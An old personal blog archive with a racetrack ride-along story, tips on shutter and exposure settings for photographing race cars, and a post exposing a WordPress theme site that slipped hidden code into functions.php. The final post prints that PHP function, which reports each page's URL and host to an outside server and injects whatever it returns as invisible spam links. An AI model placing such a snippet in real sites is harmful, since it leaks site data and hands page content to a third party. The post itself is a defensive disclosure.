Archive for the ‘Blog’ Category
I forgot the best part of the weekend!
August 8th, 2007 | 
Author: With all the excitement of getting my pictures posted I completely forgot to mention the coolest part of the Kershaw experience. Normally I’m just the spectator. My hobby is to take pictures of other people involved in their hobbies. Well, things took a different turn (literally) on Friday.
Craig Waldrop of CarolinaSpeedZone.com asked if I wanted to go for a few laps on the track with his buddies as they captured video footage of the whole thing using their in-car video system.
When asked I hesitated, not out of fear, well, not much fear, but more out of, “where will I get a helmet?” I don’t own a fancy car to take on the track and therefore have no need for such head protection. Not to be deterred for even a second, Craig quickly borrowed a helmet and plonked it on my head.
While walking back to the car I began to grow a little concerned about Craig questioning me about “motion sickness”. I have had my moment on the choppy water where things didn’t feel as they should, but that was a long time ago. I’m a big boy now and we’re in a car.
I did have to admit right off the bat I had no idea how to work the racing harness I needed to strap into. Craig got me straightened out and then instructed me to make sure the harness was tight. I guess tight to a racer and to the casual driver are two completely different things. Craig checked my work and then wrenched down on the harness some more. “You’ll want it tight”, he assured me.
Feeling the bones in my chest collapsing we headed onto the track. Again he asked about motion sickness and that if at anytime during the laps I didn’t feel well to just let him know and we’d come off the track. I must admit I was starting to get a little nervous about what was going to happen, but of course I should have done something sooner since Craig floored it and we shot off into the first turn.
Craig has a modified Porsche 911 with almost 600HP bolted onto it. Within seconds we were passing 70mph heading up to 100mph. It was also at this point that I realized I didn’t have anything to hold onto. I decided the door handle would have to work and tried to look calm and casual holding onto it as he went in to the first turn at 80+mph.
I also began to feel the strange sensation of sliding. I began to realize that the back end of the car was simply drifting through this turn. The engine roared and Craig worked the wheel like he was wrestling and alligator.
The car gained its grip as the turn came to an end and we shot off down the straight to the next turn. We bounced over the rumble strips and blasted down toward another turn.
Craig wasn’t lying, it was loud. All I could hear was the roar of the engine behind me and the wind rushing by. We hit the long straight and off we went. I think I saw 130mph but everything was bouncing so much I can’t be sure. The straight only lasts a few seconds then its back on the brakes and into a hard left. Now I see why the harness needs to be tight! With my slackass loose harness I would have been under the dash.
We sailed through the next couple of hard right turns and into the long front straight, the very hard left turn coming up really fast! I’d already seen a few people spin off this turn so I looked to see where we might land.
Nothing doing. Craig broke hard, dropped gears and dug the car in. “Holy crap, this door is hard in my side!” We got straight again, over the rumble strips and headed toward the next turn. “This is like a demonic roller coaster!!”
Up on the rumble strips, drift the back end, shift up, brake hard, shift down, wrestle the wheel and then head for the next one.
The red Shelby Cobra was right in front of us kicking up rubber and squealing tires. We finished a few laps and Craig gave me the thumbs up to ask if I was still ok. I gave him the thumbs up back. I was shaken and quite shocked that this is what it’s like to go around this track. Thank God I went to the bathroom before we went out!
We chased the Cobra for a few laps then it was time for Craig to take the lead. I’m not sure if he’d been holding back, but we seemed to be bouncing over everything now. Both sides lifted off the rumble strips, we dug into the turns even more, we braked harder for shorter distances and flew down the straights. I think he helmet is more for my head knocking against the car than anything else.
Craig kept checking on me and with wild enthusiasm I let him know I was ok. We blasted around the track for several more laps and then did the cool down lap. I told Craig I had no idea it was going to be that bumpy and made a comment about how he seemed to be fighting the wheel the whole time.
We got off the track and parked the car. Now I understood the motion sickness. I felt wobbly and a little dizzy. I sat down and gathered my thoughts. “Ok, that was crazy!”
It was quite the ride and unlike anything I had done before. It’s one thing to go fast in a car, it’s quite another to hit break neck speeds then dive into a turn, slide the back end, punch the gas and then slide into the next turn. It was a wild thrill and not at all what I had expected. I was just the passenger and I felt rather worn out and exhausted. I can’t imagine what Craig goes through thrashing the wheel from side to side to keep us under control.
I can see why these guys keep going out there. It’s certainly a wild way to spend a weekend! And I thought just trying to get the photos was pretty exciting.
Posted in 
3 days at the track
Carolina Motorsports Park – Triangle Z Club
Kershaw SC
I spent Fri-Sun at the Carolina Motorsports Park taking photos. The Triangle Z club was out there showing off their Z cars. This includes the old Datsun Z series and now the new Nissan Z series.
I remember the 240Z-280Z cars and how they just seemed so cool. They looked so sporty and powerful with their big front end and small cockpit. They had a hard suspension that made you want to take the turns fast. They’re a great car and it was neat to see so quite a few of them out there on the track.
The Porsche guys also had a few of their cars on display. (That’s the camp I hang out in, for no other reason than those are the guys I know.) Plus, the day was rounded out with a Dodge Viper, Shelby Cobras, Chevy Corvettes – new and vintage, and even some Volkswagen Sciroccos hit the track.
At the end of the weekend I had taken around 3,000 shots with a lot that I’m quite happy with. I put up a new gallery that covers the three days. You can jump straight to the photos by going here:
http://www.8×10gallery.com/photo_gallery/Porsche.htm
And now for a few technical details.
Since I had three days to work with I tried a whole series of different settings to see what would work best. I was using the Rebel XTI with the 70-200mm lens and the 1.4x TC.
I mainly wanted to get the cars without all the glare. The cars are shiny, the track is bright and the sun beats down the whole time. There isn’t really a way to get the sun at your back so to speak.
I also wanted to capture that nice speed blur as the cars went by. Snapping a 1/1000 sec frame is easy, but it makes it look like the car is just sitting there on the track. Not all that exciting. I need to show movement. 
Here are the settings that seemed to work pretty well for me and the conditions I had. 1/160sec shutter speed consistently got a good shot of the car with the background blurred. 1/100sec looked fantastic when I could get it, but the keeper ratio was so low. 1/125sec also worked well, but again, it was a low keeper rate.
I also dialed down the exposure settings. I dropped it down by -1/3 to start off with and -2/3 as the day progressed. As the sun hit the top of the sky the glare could get pretty wild. Sometimes I just had to hope for the best, but the lower setting helped a lot.
I also used ISO 100 which is the lowest setting. Shutter speed was no issue because of how bright it was and I wanted to keep the amount of light and noise down.
Another tricky thing is the color of the car. A silver car against a grayish roadway with the sun directly overhead wreaks havoc with the camera. Many times the camera couldn’t get enough contrast in the scene and had no idea what to focus on. A full frame shot of the car on the track many times went blurry. I had to pull back the zoom to try and get the foreground grass or background trees in the shot to help frame things up.
Overall, I’m very pleased with the results. I have some great action shots from the day. I took a lot of experiment shots, but I think I have the numbers dialed in correctly. At least for this track…
Templatebrowser puts link spam in Wordpress
If you have ever downloaded a Wordpress template from the TemplateBrowser site, please read!
Yesterday, something very ugly revealed itself and I wanted to make as many people aware of it as I could.
At the very bottom of the Wordpress blog, the words Online Casino began to appear. This happened on 2 blogs that I oversee. At first I thought there was something wrong with my server. I searched all through the PHP files for the name of the site (statcounter), but couldn’t find it.
You couldn’t see this text using a browser, it was set to be hidden. A friend of mine using IE 7 discovered it when an error appeared after loading the page. Looking at the source of the blog showed the name of the statcounter website embedded at the very bottom of the page. And the text of “Online Casino” was at the bottom of the page. Firefox and IE 6 did not show an error, but if you watched very carefully you could see a quick connection to the statscounter site to grab data.
We searched all over and finally came across this page which seems to reveal everything!
Templatesbrowser.com_puts_link_spam_in_WordPress
It seems the site Templatebrowser which hosts hundreds of free Wordpress templates is injecting SPAM code into the Wordpress files so it can secretly link to other sites. Here is the text of the article from Onnoot.com.
My brother Wessel used to be very positive about the thousands of free WordPress themes that you can download to markup your weblog.
But one should be careful. With my web page monitoring service Follow That Page, which also monitors hidden text, I found that my brothers website contained hidden commercial links to casinos and hotels. My brother checked it out and discovered the site that is responsible for all this: www.templatesbrowser.com/wordpress-themes/.
How does Templatesbrowser.com work?
On their site, you can download more than hundred free WordPress themes. These themes come from other websites, but Templatesbrowser.com adds a sneaky piece of code at the end of the file functions.php:
function credits()
{
$url = "http://get.templatesbrowser.com/wp.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("get.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:
<div id="copyl" style="display: none;"><a href="http://www.casinotropez.[...]">casino en ligne</a></div>
This produces a link at the bottom of every WordPress page, that is invisible for human readers.
Templatesbrowser.com apparently does this to increase the pagerank of certain websites. We’re not sure if Google falls for this little link spam trick. But if Google does find out that your page contains link spam, you risk being punished. That could mean that your website is removed from Google’s search result pages.
I did exactly as the article said and low and behold I have the “credits function” in my blog code. I removed it and the hidden link disappeared off the main page and there was no trace of it in the source code of the web page.
If you have every downloaded a template from Templatebrowser, please check the functions.php code and remove their link! We have also removed a link back to their main site and will never download a file from them again!
A huge thank you to Onno for this discovery, and an even bigger GO TO HELL YOU MISERABLE BASTARDS to Templatebrowser for putting crap code into a template they don’t even own and making it look like the template’s author may be to blame. This is shameful and Wordpress and the template authors should work to shut that piece of crap site down!